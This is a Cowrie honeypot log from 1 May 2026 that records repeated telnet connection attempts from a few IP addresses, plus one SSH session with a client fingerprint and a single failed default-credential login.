{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40146,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1f39665506","protocol":"telnet","message":"New connection: 146.185.21.169:40146 (10.17.0.5:23) [session: 8f1f39665506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:02.422025Z"}
{"eventid":"cowrie.session.closed","duration":31.30982279777527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:02.520343Z","src_ip":"146.185.21.169","session":"01f4964ba862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":47662,"dst_ip":"10.17.0.5","dst_port":23,"session":"01426cb42cac","protocol":"telnet","message":"New connection: 62.72.47.216:47662 (10.17.0.5:23) [session: 01426cb42cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:02.639130Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40552,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ffde297930","protocol":"telnet","message":"New connection: 146.185.21.169:40552 (10.17.0.5:23) [session: 80ffde297930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:04.194714Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"109a2ef5f0dd","protocol":"telnet","message":"New connection: 62.72.47.216:51842 (10.17.0.5:23) [session: 109a2ef5f0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:04.714777Z"}
{"eventid":"cowrie.session.closed","duration":30.69257926940918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:11.051256Z","src_ip":"146.185.21.169","session":"4c32fc993dbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6530282497406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:11.781148Z","src_ip":"146.185.21.169","session":"412668d22605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9512357711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:12.183836Z","src_ip":"146.185.21.169","session":"d44da10fad3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50189,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fdbdede5985","protocol":"telnet","message":"New connection: 146.185.21.169:50189 (10.17.0.5:23) [session: 2fdbdede5985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:19.480029Z"}
{"eventid":"cowrie.session.closed","duration":30.506489992141724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:21.347735Z","src_ip":"62.72.47.216","session":"df6b4fa62eb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71582865715027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:21.507580Z","src_ip":"62.72.47.216","session":"21924c16b95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.113.107.155","src_port":61647,"dst_ip":"10.17.0.5","dst_port":23,"session":"60194e6eb092","protocol":"telnet","message":"New connection: 41.113.107.155:61647 (10.17.0.5:23) [session: 60194e6eb092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:21.529463Z"}
{"eventid":"cowrie.session.closed","duration":30.460378408432007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:23.237139Z","src_ip":"62.72.47.216","session":"fdf9c67bebe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52432,"dst_ip":"10.17.0.5","dst_port":23,"session":"6133383532e3","protocol":"telnet","message":"New connection: 146.185.21.169:52432 (10.17.0.5:23) [session: 6133383532e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:23.327346Z"}
{"eventid":"cowrie.session.closed","duration":25.111010551452637,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:23.870268Z","src_ip":"146.185.21.169","session":"d6b7684b7ba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52386,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b96cfdb8b79","protocol":"telnet","message":"New connection: 146.185.21.169:52386 (10.17.0.5:23) [session: 8b96cfdb8b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:24.263258Z"}
{"eventid":"cowrie.session.closed","duration":30.494133710861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:25.374673Z","src_ip":"62.72.47.216","session":"958c2df9c6bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8886079788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:26.614830Z","src_ip":"62.72.47.216","session":"ac13ad14283a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a434794d72a","protocol":"telnet","message":"New connection: 146.185.21.169:55060 (10.17.0.5:23) [session: 2a434794d72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:29.350105Z"}
{"eventid":"cowrie.session.closed","duration":30.518136262893677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:30.206348Z","src_ip":"62.72.47.216","session":"bfc3d7522ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694026947021484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:32.279680Z","src_ip":"62.72.47.216","session":"03b9d1455845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54620671272278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:33.185069Z","src_ip":"62.72.47.216","session":"01426cb42cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960275650024414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:33.382171Z","src_ip":"146.185.21.169","session":"8f1f39665506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57344,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8e72e2da5e","protocol":"telnet","message":"New connection: 146.185.21.169:57344 (10.17.0.5:23) [session: 3a8e72e2da5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:33.750553Z"}
{"eventid":"cowrie.session.closed","duration":12.960810422897339,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:34.490136Z","src_ip":"41.113.107.155","session":"60194e6eb092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502362728118896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:35.216974Z","src_ip":"62.72.47.216","session":"109a2ef5f0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50074,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af2aa5b3c78","protocol":"telnet","message":"New connection: 146.185.21.169:50074 (10.17.0.5:23) [session: 0af2aa5b3c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:35.624075Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38940,"dst_ip":"10.17.0.5","dst_port":23,"session":"5379806d9ba3","protocol":"telnet","message":"New connection: 146.185.21.169:38940 (10.17.0.5:23) [session: 5379806d9ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:40.544172Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":20026,"dst_ip":"10.17.0.5","dst_port":22,"session":"346903c96868","protocol":"ssh","message":"New connection: 181.65.191.218:20026 (10.17.0.5:22) [session: 346903c96868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:49.370653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:49.375389Z","src_ip":"181.65.191.218","session":"346903c96868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:49.488303Z","src_ip":"181.65.191.218","session":"346903c96868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"changeme","message":"login attempt [user2/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:49.968791Z","src_ip":"181.65.191.218","session":"346903c96868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.667505502700806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:50.147379Z","src_ip":"146.185.21.169","session":"2fdbdede5985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:51.254841Z","src_ip":"181.65.191.218","session":"346903c96868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.651046991348267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:54.978292Z","src_ip":"146.185.21.169","session":"6133383532e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52992,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d78aac259ca","protocol":"telnet","message":"New connection: 146.185.21.169:52992 (10.17.0.5:23) [session: 4d78aac259ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:55.119950Z"}
{"eventid":"cowrie.session.closed","duration":0.005892753601074219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:55.125717Z","src_ip":"146.185.21.169","session":"4d78aac259ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.760101318359375,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:55.954733Z","src_ip":"146.185.21.169","session":"80ffde297930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.878958225250244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:57.142078Z","src_ip":"146.185.21.169","session":"8b96cfdb8b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43864,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8bb8310615","protocol":"telnet","message":"New connection: 146.185.21.169:43864 (10.17.0.5:23) [session: ea8bb8310615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:57.927505Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":45722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec04c6aecce2","protocol":"telnet","message":"New connection: 94.46.12.68:45722 (10.17.0.5:23) [session: ec04c6aecce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:58.303534Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":45198,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41cc363371b","protocol":"telnet","message":"New connection: 146.185.21.169:45198 (10.17.0.5:23) [session: d41cc363371b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:58.519737Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46858,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7a77665852","protocol":"telnet","message":"New connection: 94.46.12.68:46858 (10.17.0.5:23) [session: 8e7a77665852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:58.810138Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48332,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8d932f18a6","protocol":"telnet","message":"New connection: 94.46.12.68:48332 (10.17.0.5:23) [session: 5c8d932f18a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:59.549884Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48162,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b41042dd3b","protocol":"telnet","message":"New connection: 94.46.12.68:48162 (10.17.0.5:23) [session: f9b41042dd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:00.394523Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55382,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b0b32599a3d","protocol":"telnet","message":"New connection: 94.46.12.68:55382 (10.17.0.5:23) [session: 5b0b32599a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:02.539777Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed515ece8d82","protocol":"telnet","message":"New connection: 94.46.12.68:57630 (10.17.0.5:23) [session: ed515ece8d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:03.448079Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b7d84cc071","protocol":"telnet","message":"New connection: 146.185.21.169:59046 (10.17.0.5:23) [session: 32b7d84cc071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:04.400510Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea55e96fb0e9","protocol":"telnet","message":"New connection: 146.185.21.169:59928 (10.17.0.5:23) [session: ea55e96fb0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:04.900501Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34292,"dst_ip":"10.17.0.5","dst_port":23,"session":"8755b0343d57","protocol":"telnet","message":"New connection: 94.46.12.68:34292 (10.17.0.5:23) [session: 8755b0343d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:05.259399Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":32914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8482ef75e7a6","protocol":"telnet","message":"New connection: 146.185.21.169:32914 (10.17.0.5:23) [session: 8482ef75e7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:05.515669Z"}
{"eventid":"cowrie.session.closed","duration":31.77056360244751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:05.521005Z","src_ip":"146.185.21.169","session":"3a8e72e2da5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34696,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d11906a6927","protocol":"telnet","message":"New connection: 94.46.12.68:34696 (10.17.0.5:23) [session: 5d11906a6927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:05.578399Z"}
{"eventid":"cowrie.session.closed","duration":36.695592641830444,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:06.045585Z","src_ip":"146.185.21.169","session":"2a434794d72a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37496,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b5a212b506","protocol":"telnet","message":"New connection: 94.46.12.68:37496 (10.17.0.5:23) [session: c1b5a212b506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:06.584599Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37998,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2dd2551e3f","protocol":"telnet","message":"New connection: 94.46.12.68:37998 (10.17.0.5:23) [session: 4c2dd2551e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:06.742368Z"}
{"eventid":"cowrie.session.closed","duration":31.278805017471313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:06.902800Z","src_ip":"146.185.21.169","session":"0af2aa5b3c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5141819652c","protocol":"telnet","message":"New connection: 94.46.12.68:43124 (10.17.0.5:23) [session: c5141819652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:08.451826Z"}
{"eventid":"cowrie.session.closed","duration":30.540674209594727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:11.084734Z","src_ip":"146.185.21.169","session":"5379806d9ba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00106406211853,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:13.170166Z","src_ip":"98.51.244.245","session":"358a60eaf144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55158,"dst_ip":"10.17.0.5","dst_port":23,"session":"77dbb2756f48","protocol":"telnet","message":"New connection: 94.46.12.68:55158 (10.17.0.5:23) [session: 77dbb2756f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:13.481813Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50006,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14a00889904","protocol":"telnet","message":"New connection: 146.185.21.169:50006 (10.17.0.5:23) [session: d14a00889904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:14.855965Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58020,"dst_ip":"10.17.0.5","dst_port":23,"session":"86e9b6e82234","protocol":"telnet","message":"New connection: 94.46.12.68:58020 (10.17.0.5:23) [session: 86e9b6e82234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:15.694810Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37898,"dst_ip":"10.17.0.5","dst_port":23,"session":"864413c2c07a","protocol":"telnet","message":"New connection: 94.46.12.68:37898 (10.17.0.5:23) [session: 864413c2c07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:17.995828Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46344,"dst_ip":"10.17.0.5","dst_port":23,"session":"40752e5be56d","protocol":"telnet","message":"New connection: 94.46.12.68:46344 (10.17.0.5:23) [session: 40752e5be56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:21.650730Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48066,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a3e8a7e670","protocol":"telnet","message":"New connection: 94.46.12.68:48066 (10.17.0.5:23) [session: 68a3e8a7e670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:23.209354Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50740,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4cb829c490f","protocol":"telnet","message":"New connection: 94.46.12.68:50740 (10.17.0.5:23) [session: f4cb829c490f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:23.526433Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39844,"dst_ip":"10.17.0.5","dst_port":23,"session":"761cb3f91e88","protocol":"telnet","message":"New connection: 146.185.21.169:39844 (10.17.0.5:23) [session: 761cb3f91e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:25.088275Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56236,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd5b88ae4786","protocol":"telnet","message":"New connection: 94.46.12.68:56236 (10.17.0.5:23) [session: dd5b88ae4786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:25.787586Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"5849d1a1114b","protocol":"telnet","message":"New connection: 94.46.12.68:57414 (10.17.0.5:23) [session: 5849d1a1114b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:26.352961Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58206,"dst_ip":"10.17.0.5","dst_port":23,"session":"918a20935990","protocol":"telnet","message":"New connection: 94.46.12.68:58206 (10.17.0.5:23) [session: 918a20935990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:26.759459Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40998,"dst_ip":"10.17.0.5","dst_port":23,"session":"35a24c57c7bf","protocol":"telnet","message":"New connection: 146.185.21.169:40998 (10.17.0.5:23) [session: 35a24c57c7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:27.659254Z"}
{"eventid":"cowrie.session.closed","duration":30.13799500465393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:28.065357Z","src_ip":"146.185.21.169","session":"ea8bb8310615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"79db0d89ff18","protocol":"telnet","message":"New connection: 94.46.12.68:34474 (10.17.0.5:23) [session: 79db0d89ff18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:28.866321Z"}
{"eventid":"cowrie.session.closed","duration":30.749596118927002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:34:29.053024Z","src_ip":"94.46.12.68","session":"ec04c6aecce2","protocol":"telnet"}
